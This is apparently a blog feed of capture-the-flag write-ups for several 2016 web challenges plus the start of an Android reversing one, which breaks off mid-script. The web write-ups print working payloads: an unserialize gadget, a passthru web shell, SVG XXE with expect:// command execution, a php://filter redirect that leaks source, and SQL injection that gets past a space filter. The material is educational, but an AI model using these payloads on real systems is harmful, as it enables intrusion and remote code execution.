<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">is_dir</span><span class="p">(</span><span class="nv">$session_path</span><span class="p">))</span> <span class="nb">mkdir</span><span class="p">(</span><span class="nv">$session_path</span><span class="p">);</span>
<span class="nb">chdir</span><span class="p">(</span><span class="nv">$session_path</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">is_file</span><span class="p">(</span><span class="s1">'pickle'</span><span class="p">))</span> <span class="nv">$_SESSION</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
<span class="k">else</span> <span class="nv">$_SESSION</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'pickle'</span><span class="p">));</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">download_image</span><span class="p">(</span><span class="nv">$url</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$url</span> <span class="o">=</span> <span class="nb">parse_url</span><span class="p">(</span><span class="nv">$origUrl</span><span class="o">=</span><span class="nv">$url</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$url</span><span class="p">[</span><span class="s1">'scheme'</span><span class="p">])</span> <span class="o">&&</span> <span class="nv">$url</span><span class="p">[</span><span class="s1">'scheme'</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'http'</span><span class="p">)</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$url</span><span class="p">[</span><span class="s1">'path'</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'/avatar.png'</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">system</span><span class="p">(</span><span class="s1">'/usr/bin/wget '</span><span class="mf">.</span><span class="nb">escapeshellarg</span><span class="p">(</span><span class="nv">$origUrl</span><span class="p">));</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'id'</span><span class="p">]))</span> <span class="p">{</span>
<span class="nv">$sessId</span> <span class="o">=</span> <span class="nb">bin2hex</span><span class="p">(</span><span class="nb">openssl_random_pseudo_bytes</span><span class="p">(</span><span class="mi">10</span><span class="p">));</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'id'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$sessId</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nv">$sessId</span> <span class="o">=</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'id'</span><span class="p">];</span>
<span class="p">}</span>
<span class="nb">session_write_close</span><span class="p">();</span>
<span class="nf">set_context</span><span class="p">(</span><span class="nv">$sessId</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'image'</span><span class="p">]))</span> <span class="nf">download_image</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'image'</span><span class="p">]);</span>
<span class="cp">?></span>
<span class="nt"><img</span> <span class="na">src=</span><span class="s">"/data/</span><span class="cp"><?php</span> <span class="k">echo</span> <span class="nv">$sessId</span><span class="p">;</span> <span class="cp">?></span><span class="s">/avatar.png"</span> <span class="na">width=</span><span class="s">80</span> <span class="na">height=</span><span class="s">80</span> <span class="nt">/></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>This appears to be a very straightforward challenge. It’s a simple service, you’re given a session id and you can upload an image through a URL using <code class="language-plaintext highlighter-rouge">$_POST['image']</code>,which is stored in a directory named using the session id.</p>
<p>The first thing that caught my attention was the <code class="language-plaintext highlighter-rouge">wget</code> call. Just few days ago, a wget <a href="http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt">vulnerability</a> was publicly disclosed, one that would allow arbitrary files to be downloaded.</p>
<p>Also, notice that there is an unserialize call at the start of the script using the contents from a file named <code class="language-plaintext highlighter-rouge">pickle</code>. It is important to also see that there is a small class called <code class="language-plaintext highlighter-rouge">MyClass</code> that would allow us to invoke arbitrary PHP commands through the <code class="language-plaintext highlighter-rouge">$_GET['cmd']</code> parameter.</p>
<p>The attack sequence is now obvious:</p>
<ol>
<li>Make a <strong>POST</strong> request to the service with a URL (path needs to be <code class="language-plaintext highlighter-rouge">/avatar.png</code>) as the value of <code class="language-plaintext highlighter-rouge">$_POST['image']</code>.</li>
<li>Redirect any requests made to the URL to a FTP URL with a file named <code class="language-plaintext highlighter-rouge">pickle</code>.</li>
<li>Invoke <code class="language-plaintext highlighter-rouge">set_context</code> that in turns unserializes the content in <code class="language-plaintext highlighter-rouge">pickle</code> and now we have arbitrary PHP code execution.</li>
</ol>
<p>What is not obvious here is:</p>
<ol>
<li>A shutdown function is registered, right before the end of the PHP script execution, the <code class="language-plaintext highlighter-rouge">pickle</code> file will be overwritten with the value from <code class="language-plaintext highlighter-rouge">serialize($_SESSION)</code>.</li>
<li><code class="language-plaintext highlighter-rouge">set_context</code> is called only at the start of the PHP script execution, that means we won’t be able to perform step #3 after step #1 of the attack sequence (assuming a single request).</li>
</ol>
<p>What could be done instead is to cause a race-condition by doing two requests in parallel. First, make a <strong>POST</strong> request to the service in order to get arbitrary content in <code class="language-plaintext highlighter-rouge">pickle</code>. The payload for <code class="language-plaintext highlighter-rouge">pickle</code> is <code class="language-plaintext highlighter-rouge">O:7:"MyClass":0:{}</code>, which is the serialized form for <code class="language-plaintext highlighter-rouge">MyClass</code>. Second, when the file is saved onto the remote service and before it is overwritten by the shutdown function, make a second request that invokes <code class="language-plaintext highlighter-rouge">set_context</code>, which then runs the arbitrary PHP code specified through <code class="language-plaintext highlighter-rouge">$_GET['cmd']</code>.</p>
<p>It can be tricky to invoke the race-condition, and takes a few attempts. After some attempts, the flag can be obtained from running the binary at <code class="language-plaintext highlighter-rouge">/flag_is_heeeeeeeereeeeeee</code>.</p>
<h3 id="other-ways">Other ways</h3>
<p>I personally believe the originally intended method by the challenge setter was the above with the race-condition. However, I also found that there are slightly easier ways to get the flag without having to invoke the race-condition.</p>
<h4 id="method-1">Method #1</h4>
<p>The folder that the <code class="language-plaintext highlighter-rouge">pickle</code> file is saved does not seem to have PHP disabled, so what could be done instead is to redirect the HTTP request to a FTP URL with a PHP script. The PHP script could be a simple <code class="language-plaintext highlighter-rouge"><? passthru($_GET['cmd']) ?></code> that allows us to run arbitrary PHP commands.</p>
<p>This would be obviously way less tedious than the above-mentioned method.</p>
<h4 id="method-2">Method #2</h4>
<p>The check here <code class="language-plaintext highlighter-rouge">if($url['path'] == '/avatar.png')</code> doesn’t take into account for query parameters and so it is possible to specify a URL like <code class="language-plaintext highlighter-rouge">avatar.png%3fcmd.php</code> which is decoded to <code class="language-plaintext highlighter-rouge">avatar.png?cmd.php</code>, which is saved as a .php file and executes PHP instructions when browsed.<br />
*** Only found out this method after viewing the write up by team p4 <a href="https://github.com/p4-team/ctf/tree/master/2016-07-09-secuinside-ctf/trendyweb">here</a>.</p>
<p><a href="https://quanyang.github.io/secuinside-ctf-quals-2016-trendyweb/">SECUINSIDE CTF Quals 2016 - Trendyweb</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on July 10, 2016.</p>
https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-252016-06-22T20:32:53+00:002016-06-22T20:32:53+00:00Yeo Quan Yanghttps://quanyang.github.io
<p>X-CTF is a capture the flag competition in Singapore organized by NUS Greyhats. The on-site finals took place on Saturday, 18 June 2016. This is another one of the web challenge I wrote for the finals.</p>
<h1 id="johnslick">JohnSlick</h1>
<blockquote>
<p><strong>Points:</strong> 25<br />
<strong>Category:</strong> Web<br />
<strong>Description:</strong> Flag is on the server. Get a reverse shell :). Be nice, don’t break the server. <a href="http://bg3.spro.ink:8081">http://bg3.spro.ink:8081</a></p>
</blockquote>
<hr />
<p>After registering and logging in to an account, there will be an upload feature that allows you to upload files to the server. However, there seems to be a check to ensure that only certain file types are allowed, namely, GIF, PNG, JPG and SVG.</p>
<p><img src="/resources/images/x-ctf/johnslick_upload.png" alt="" /></p>
<p>If you tried uploading a GIF, PNG or JPG file, you’ll see that the image would be successfully uploaded and displayed.</p>
<p><img src="/resources/images/x-ctf/johnslick_img.png" alt="" width="400px" /></p>
<p>However, if you tried some random SVG file like the following, you’ll get a different response instead. This is meant to be a hint to the participants.</p>
<p>If you upload an SVG file with the following contents:</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="code"><pre><span class="nt"><svg</span> <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span> <span class="na">xmlns:xlink=</span><span class="s">"http://www.w3.org/1999/xlink"</span> <span class="na">width=</span><span class="s">"300"</span> <span class="na">version=</span><span class="s">"1.1"</span> <span class="na">height=</span><span class="s">"200"</span><span class="nt">></span>
<span class="nt"><rect</span> <span class="na">x=</span><span class="s">"0"</span> <span class="na">y=</span><span class="s">"150"</span> <span class="na">height=</span><span class="s">"10"</span> <span class="na">width=</span><span class="s">"300"</span> <span class="na">style=</span><span class="s">"fill: #000000"</span><span class="nt">/></span>
<span class="nt"></svg></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>You should get a feedback saying: <code class="language-plaintext highlighter-rouge">Secret mode activated:</code>.</p>
<p>We can now be positively certain that the challenge has to do with a SVG file, the next step should then be pretty obvious.
There are only a few common attacks that could be done with the use of a SVG file:</p>
<ol>
<li>XSS due to the browser rendering the SVG file (<code class="language-plaintext highlighter-rouge"><script>alert(1)</script></code> in an SVG element).</li>
<li>DOS attack due to a resource exhaustion similar to a billion laughs attack.</li>
<li>XXE attack due to the server parsing the SVG.</li>
</ol>
<p><strong>Attack #1</strong> would be possible if the SVG file was reflected to the user or some sort of back-end which would be viewed by an admin. However, we did not mention anything about an admin viewing anything, so this attack could have been ruled out easily.</p>
<p><strong>Attack #2</strong> could be possible but would not allow for a reverse shell, which is our end goal.</p>
<p><strong>Attack #3</strong> seems the most probable in this case, maybe an XXE + SSRF exploit that could allow us to run arbitrary code on the server’s backend.</p>
<p>Looking up <code class="language-plaintext highlighter-rouge">SVG XXE SSRF</code> on Google shows a few attacks that have been done previously. In fact recently on hackerone.com there is a <a href="https://hackerone.com/reports/142709">publicly disclosed bug</a> that is similar.</p>
<p>Following this lead, we can try an SVG payload like the following:</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="code"><pre><span class="nt"><svg</span> <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span> <span class="na">xmlns:xlink=</span><span class="s">"http://www.w3.org/1999/xlink"</span> <span class="na">width=</span><span class="s">"300"</span> <span class="na">version=</span><span class="s">"1.1"</span> <span class="na">height=</span><span class="s">"200"</span><span class="nt">></span>
<span class="nt"><image</span> <span class="na">xlink:href=</span><span class="s">"http://nusgreyhats.org:800/"</span><span class="nt">></image></span>
<span class="nt"></svg></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>We then open a netcat instance on the remote server to watch for any attempts to connect to it. Upon uploading the SVG file, we see that no connections were made to our netcat instance. However, if you solved the web20 challenge, similar to <a href="http://quanyang.github.io/x-ctf-finals-2016-john-sick-web-20/">it</a>, certain URI scheme has been disabled.</p>
<p>We could however, try out all the URI schemes to see if any of them are enabled.</p>
<p>The <a href="http://php.net/manual/en/wrappers.expect.php">expect</a> wrapper though not enabled by default, would allow us to easily obtain a reverse shell. Trying out a simple exploit like the following could easily verify that the expect scheme is enabled:</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="code"><pre><span class="nt"><svg</span> <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span> <span class="na">xmlns:xlink=</span><span class="s">"http://www.w3.org/1999/xlink"</span> <span class="na">width=</span><span class="s">"300"</span> <span class="na">version=</span><span class="s">"1.1"</span> <span class="na">height=</span><span class="s">"200"</span><span class="nt">></span>
<span class="nt"><image</span> <span class="na">xlink:href=</span><span class="s">"expect://ls"</span><span class="nt">></image></span>
<span class="nt"></svg></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p><img src="/resources/images/x-ctf/johnslick_svg.png" alt="" /></p>
<p>We see that our <code class="language-plaintext highlighter-rouge">ls</code> payload has successfully executed. We can now easily obtain a reverse shell, or to simply read the flag directly.</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="code"><pre><span class="nt"><svg</span> <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span> <span class="na">xmlns:xlink=</span><span class="s">"http://www.w3.org/1999/xlink"</span> <span class="na">width=</span><span class="s">"300"</span> <span class="na">version=</span><span class="s">"1.1"</span> <span class="na">height=</span><span class="s">"200"</span><span class="nt">></span>
<span class="nt"><image</span> <span class="na">xlink:href=</span><span class="s">"expect://ls /"</span><span class="nt">></image></span>
<span class="nt"></svg></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p><img src="/resources/images/x-ctf/johnslick_cat.png" alt="" /></p>
<p>And finally,</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="code"><pre><span class="nt"><svg</span> <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span> <span class="na">xmlns:xlink=</span><span class="s">"http://www.w3.org/1999/xlink"</span> <span class="na">width=</span><span class="s">"300"</span> <span class="na">version=</span><span class="s">"1.1"</span> <span class="na">height=</span><span class="s">"200"</span><span class="nt">></span>
<span class="nt"><image</span> <span class="na">xlink:href=</span><span class="s">"expect://cat /flag_is_really_here.xxe"</span><span class="nt">></image></span>
<span class="nt"></svg></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p><img src="/resources/images/x-ctf/johnslick_flag.png" alt="" /></p>
<p>And we have our flag: <code class="language-plaintext highlighter-rouge">XCTF{XXE_IS_PR0BABLY_NOT_XTRA_XTRA_E@SY}</code>!</p>
<p>This challenge might not be exactly realistic as it took me some hacking in order to get the SSRF vulnerability to work correctly. However, this challenge is meant to introduce the idea of XXE attacks to participants and that XXE + SSRF attack could possibly lead to RCE as seen in the recent imagemagick vulnerability.</p>
<p><a href="https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/">X-CTF Finals 2016 - John Slick (Web 25)</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on June 22, 2016.</p>
https://quanyang.github.io/x-ctf-finals-2016-john-sick-web-202016-06-21T19:51:55+00:002016-06-21T19:51:55+00:00Yeo Quan Yanghttps://quanyang.github.io
<p>X-CTF is a capture the flag competition in Singapore organized by NUS Greyhats. The on-site finals took place on Saturday, 18 June 2016. This is another one of the web challenge I wrote for the finals.</p>
<h1 id="johnsick">JohnSick</h1>
<blockquote>
<p><strong>Points:</strong> 20<br />
<strong>Category:</strong> Web<br />
<strong>Description:</strong> Flag is on the server. Get the source code of index.php to find the flag. <a href="http://bg3.spro.ink:8080">http://bg3.spro.ink:8080</a></p>
</blockquote>
<hr />
<p>For this challenge, the truncation issue in the registration feature of web 15 has been fixed. So, the first step is to register and login as any user.</p>
<p>The description of the challenge tells you to obtain the source code of index.php, this also hints that there must be a way to obtain the source code.</p>
<p><img src="/resources/images/x-ctf/johnsick_upload.png" alt="" /></p>
<p>After logging in, we see that there’s a feature for users to upload images. However, it says clearly that only jpg is allowed.</p>
<p><img src="/resources/images/x-ctf/johnsick_uploaded.png" alt="" width="600px" /></p>
<p>If you tried uploading using a URL of a valid JPG image, you’d see that the image would be successfully uploaded and displayed. However, if you tried any links that does not end with <code class="language-plaintext highlighter-rouge">.jpg</code>, you’d see that the upload would fail and no image would be shown. This was actually due to a filter on the URL.</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre><span class="cp"><?php</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">filter_var</span><span class="p">(</span><span class="nv">$url</span><span class="p">,</span> <span class="no">FILTER_VALIDATE_URL</span><span class="p">)</span> <span class="o">===</span> <span class="kc">false</span> <span class="o">&&</span> <span class="nb">preg_match</span><span class="p">(</span><span class="s2">"/^https?:\/\/.*\.jpg$/"</span><span class="p">,</span> <span class="nv">$url</span><span class="p">))</span> <span class="p">{</span>
<span class="nv">$url</span> <span class="o">=</span> <span class="nf">getRedirectUrl</span><span class="p">(</span><span class="nv">$url</span><span class="p">);</span>
<span class="nv">$contents</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$url</span><span class="p">);</span>
<span class="nv">$name</span> <span class="o">=</span> <span class="nb">md5</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'username'</span><span class="p">]);</span>
<span class="nv">$url</span> <span class="o">=</span> <span class="s2">"./hitimages/"</span> <span class="mf">.</span> <span class="nv">$name</span> <span class="mf">.</span> <span class="s2">"_"</span> <span class="mf">.</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'username'</span><span class="p">]</span> <span class="mf">.</span> <span class="s2">".jpg"</span><span class="p">;</span>
<span class="nv">$imageFile</span> <span class="o">=</span> <span class="nb">fopen</span><span class="p">(</span><span class="nv">$url</span><span class="p">,</span><span class="s2">"wb"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$imageFile</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">fwrite</span><span class="p">(</span><span class="nv">$imageFile</span><span class="p">,</span> <span class="nv">$contents</span><span class="p">);</span>
<span class="nv">$file</span> <span class="o">=</span> <span class="nv">$url</span><span class="p">;</span>
<span class="nb">fclose</span><span class="p">(</span><span class="nv">$imageFile</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cp">?></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>So, the trick here is to make use of a 301 redirect in order to redirect the request to a URL that does not start with <code class="language-plaintext highlighter-rouge">http(s)</code> and ends with <code class="language-plaintext highlighter-rouge">.jpg</code>. We can use a simple PHP server and modify the configuration for it to execute <code class="language-plaintext highlighter-rouge">.jpg</code> files as PHP and with a short PHP script, perform the redirect.</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="code"><pre><span class="cp"><?php</span>
<span class="nb">header</span><span class="p">(</span><span class="s1">'HTTP/1.1 301 Redirect'</span><span class="p">);</span>
<span class="nb">header</span><span class="p">(</span><span class="s1">'Location: php://filter/string.toupper/resource=index.php'</span><span class="p">);</span>
<span class="cp">?></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>This way, it’d allow us to obtain the source code of <code class="language-plaintext highlighter-rouge">index.php</code>. If you tried this, you’d see that the image would not be rendered as the image is corrupted and if you view the source of the image, you’d get the source code of <code class="language-plaintext highlighter-rouge">index.php</code></p>
<p><img src="/resources/images/x-ctf/johnsick_source.png" alt="" /></p>
<p>And with that, you can easily read the flag from the <code class="language-plaintext highlighter-rouge">flag_is_here.lol</code> file. This is an example of a server-side request forgery (SSRF) vulnerability, SSRF is recently becoming more common (imagemagick is on fire vulnerability).</p>
<p>Another interesting fact is, if you tried all the different schemes that PHP supports, you’d see that only PHP, HTTP and HTTPS is supported and this is because all the other schemes has been disabled. You might not already know this, but many of these URI schemes are actually enabled by default.</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="code"><pre><span class="cp"><?php</span>
<span class="nv">$scheme</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"ftp"</span><span class="p">,</span> <span class="s2">"zlib"</span><span class="p">,</span> <span class="s2">"data"</span><span class="p">,</span> <span class="s2">"glob"</span><span class="p">,</span> <span class="s2">"phar"</span><span class="p">,</span> <span class="s2">"ssh2"</span><span class="p">,</span> <span class="s2">"rar"</span><span class="p">,</span> <span class="s2">"ogg"</span><span class="p">,</span><span class="s2">"ftps"</span><span class="p">,</span><span class="s2">"compress.zlib"</span><span class="p">,</span><span class="s2">"compress.bzip2"</span><span class="p">,</span><span class="s2">"zip"</span><span class="p">];</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$scheme</span> <span class="k">as</span> <span class="nv">$i</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">stream_wrapper_unregister</span><span class="p">(</span><span class="nv">$i</span><span class="p">);</span>
<span class="p">}</span>
<span class="cp">?></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>And so, with this we got our flag: <code class="language-plaintext highlighter-rouge">XCTF{J0HN_G0T_R3D1R3CT3D}</code>.</p>
<p><a href="https://quanyang.github.io/x-ctf-finals-2016-john-sick-web-20/">X-CTF Finals 2016 - John Sick (Web 20)</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on June 21, 2016.</p>
https://quanyang.github.io/x-ctf-finals-2016-john-wick-web-152016-06-20T20:48:40+00:002016-06-20T20:48:40+00:00Yeo Quan Yanghttps://quanyang.github.io
<p>X-CTF is a capture the flag competition in Singapore organized by NUS Greyhats. The on-site finals took place on Saturday, 18 June 2016. This is one of the web challenge I wrote for the finals.</p>
<h1 id="johnwick">JohnWick</h1>
<blockquote>
<p><strong>Points:</strong> 20<br />
<strong>Category:</strong> Web<br />
<strong>Description:</strong> Login as ‘johnwick’ and find the flag. <a href="http://bg2.spro.ink:8080">http://bg2.spro.ink:8080</a></p>
</blockquote>
<hr />
<p>This challenge was meant to be easy and as a warm up for the participants.</p>
<p><img src="/resources/images/x-ctf/johnwick_login.png" alt="" /></p>
<p>In the description it is given that we’re suppose to login as the user ‘johnwick’, this is actually the first part of the challenge.</p>
<p>As you can see, there seems to be a character limit of 30 characters for the username. However, if you tried to enter more than 30 characters, you’d see that the registration still succeeds and if you tried logging in with the truncated username to 30 characters, you’ll see that you are able to login successfully.</p>
<p><img src="/resources/images/x-ctf/30characters.png" alt="" width="400px" />
<img src="/resources/images/x-ctf/30characters_login.png" alt="" /></p>
<p>The truncation is actually caused by the database during insertion. As the username field has a varchar length of 30 characters, during insertion any value would automatically be truncated to 30 characters.</p>
<figure class="highlight"><pre><code class="language-mysql" data-lang="mysql"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre>CREATE TABLE users (
id INT NOT NULL AUTO_INCREMENT,
username varchar(30) NOT NULL,
password varchar(64) NOT NULL,
address varchar(256),
isAdmin INT DEFAULT 0,
PRIMARY KEY (id)
);
</pre></td></tr></tbody></table></code></pre></figure>
<p>This bug is actually due to few issues:</p>
<ol>
<li>There’s no user input validation that ensures user input to be 30 characters or less.</li>
<li>The ‘username’ column should have been unique or a primary key.</li>
</ol>
<p>Exploiting this vulnerability, we can now create another ‘johnwick’ user with our chosen password.</p>
<p><img src="/resources/images/x-ctf/johnwick_search.png" alt="" /></p>
<p>After logging in, you will be able to access the search feature, which is the second part of this challenge.</p>
<p>The second part of the challenge is meant to be an SQL injection vulnerability. If you tried <code class="language-plaintext highlighter-rouge">' or '1'='1</code> and <code class="language-plaintext highlighter-rouge">' and '1'='2</code> you can immediately tell that there’s an injection vulnerability. Initially there was a space filter in place to make the challenge harder, but after some time and no solves, the filter was removed.</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
</pre></td><td class="code"><pre><span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT username FROM users WHERE username like '%"</span><span class="mf">.</span><span class="nb">str_replace</span><span class="p">(</span><span class="s2">" "</span><span class="p">,</span> <span class="s2">""</span><span class="p">,</span> <span class="nv">$username</span><span class="p">)</span><span class="mf">.</span><span class="s2">"%';"</span><span class="p">;</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>One way to tell that it was a space filter was to try something like this: <code class="language-plaintext highlighter-rouge">'and(username='johnwick');</code> versus <code class="language-plaintext highlighter-rouge">' and username='johnwick';</code>, should there be a space filter, the second query should not work.</p>
<p>To bypass the space filter, you could simply use tabs (%09) or newlines (%0a) instead of spaces. Another way is to use parenthesis, like the following payload: <code class="language-plaintext highlighter-rouge">'union(select(address)from(users));</code></p>
<p>Doing so will get you the flag: <code class="language-plaintext highlighter-rouge">XCTF{S0_W!CK3D_TRUNC@T3D}</code>. I thought that this would have been an easy challenge, but most of the participants did not manage to get pass the space filter.</p>
<p><a href="https://quanyang.github.io/x-ctf-finals-2016-john-wick-web-15/">X-CTF Finals 2016 - John Wick (Web 15)</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on June 20, 2016.</p>
https://quanyang.github.io/alictf-2016-coloroverflow2016-06-11T19:24:20+00:002016-06-11T19:24:20+00:00Yeo Quan Yanghttps://quanyang.github.io
<h1 id="alictf-2016---coloroverflow">ALICTF 2016 - ColorOverflow</h1>
<blockquote>
<p><strong>Points:</strong> 100<br />
<strong>Category:</strong> Reversing<br />
<strong>Description</strong><br />
ctf=Capture The traFfic? (<a href="/resources/files/alictf/ColorOverflow_6c305d0795155a3fefbd47a4515fe06b.pcap">attachment</a>)<br />
HINT: port 5555</p>
</blockquote>
<hr />
<p>I only looked at this challenge after some time and by the time I started looking at it, quite a few teams have solved it already and the organizers has given out additional hint to look at <strong>port 5555</strong>.</p>
<p>The packet capture provided has quite a bit of HTTP traffic as well as traffic on port 5555. If you are familiar with Android debugging, port 5555 is often use for adb traffic. Looking at the conversation it is obvious that an apk is uploaded and installed onto the device.</p>
<p><img src="/resources/images/alictf/adb_traffic.png" alt="" /></p>
<p>Using a python script with scapy, we can easily obtain the apk from the packet capture.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="code"><pre><span class="c1">#!/usr/bin/env python
# Copyright (c) 2105 Josh Dosis
</span><span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">from</span> <span class="nn">scapy.all</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">packets</span><span class="o">=</span><span class="n">rdpcap</span><span class="p">(</span><span class="s">"a.pcap"</span><span class="p">)</span>
<span class="n">fp</span> <span class="o">=</span> <span class="nb">file</span><span class="p">(</span><span class="s">"ColorOverflow.apk"</span><span class="p">,</span><span class="s">"wb"</span><span class="p">)</span>
<span class="n">ranges</span> <span class="o">=</span> <span class="p">[(</span><span class="mi">610</span><span class="p">,</span><span class="mi">637</span><span class="p">),(</span><span class="mi">641</span><span class="p">,</span><span class="mi">908</span><span class="p">),(</span><span class="mi">912</span><span class="p">,</span><span class="mi">1178</span><span class="p">),(</span><span class="mi">1183</span><span class="p">,</span><span class="mi">1274</span><span class="p">)]</span>
<span class="k">for</span> <span class="n">start</span><span class="p">,</span><span class="n">end</span> <span class="ow">in</span> <span class="n">ranges</span><span class="p">:</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">start</span><span class="p">,</span><span class="n">end</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
<span class="n">packet</span> <span class="o">=</span> <span class="n">packets</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="k">if</span> <span class="n">TCP</span> <span class="ow">in</span> <span class="n">packet</span> <span class="ow">and</span> <span class="n">packet</span><span class="p">.</span><span class="n">sport</span> <span class="o">==</span> <span class="mi">33946</span><span class="p">:</span>
<span class="k">if</span> <span class="n">packet</span><span class="p">[</span><span class="n">IP</span><span class="p">].</span><span class="n">dst</span> <span class="o">==</span> <span class="s">"10.0.2.15"</span> <span class="ow">and</span> <span class="n">Raw</span> <span class="ow">in</span> <span class="n">packet</span><span class="p">[</span><span class="n">TCP</span><span class="p">]:</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">610</span><span class="p">:</span>
<span class="n">fp</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">packet</span><span class="p">[</span><span class="n">TCP</span><span class="p">][</span><span class="n">Raw</span><span class="p">].</span><span class="n">load</span><span class="p">[</span><span class="mi">32</span><span class="p">:])</span>
<span class="k">elif</span> <span class="n">i</span> <span class="o">==</span> <span class="n">start</span><span class="p">:</span>
<span class="n">fp</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">packet</span><span class="p">[</span><span class="n">TCP</span><span class="p">][</span><span class="n">Raw</span><span class="p">].</span><span class="n">load</span><span class="p">[</span><span class="mi">24</span><span class="p">:])</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">out</span> <span class="o">=</span> <span class="n">packet</span><span class="p">[</span><span class="n">TCP</span><span class="p">][</span><span class="n">Raw</span><span class="p">].</span><span class="n">load</span>
<span class="k">if</span> <span class="s">"DATA"</span> <span class="ow">in</span> <span class="n">out</span><span class="p">:</span>
<span class="n">offset</span> <span class="o">=</span> <span class="n">out</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="s">"DATA"</span><span class="p">)</span>
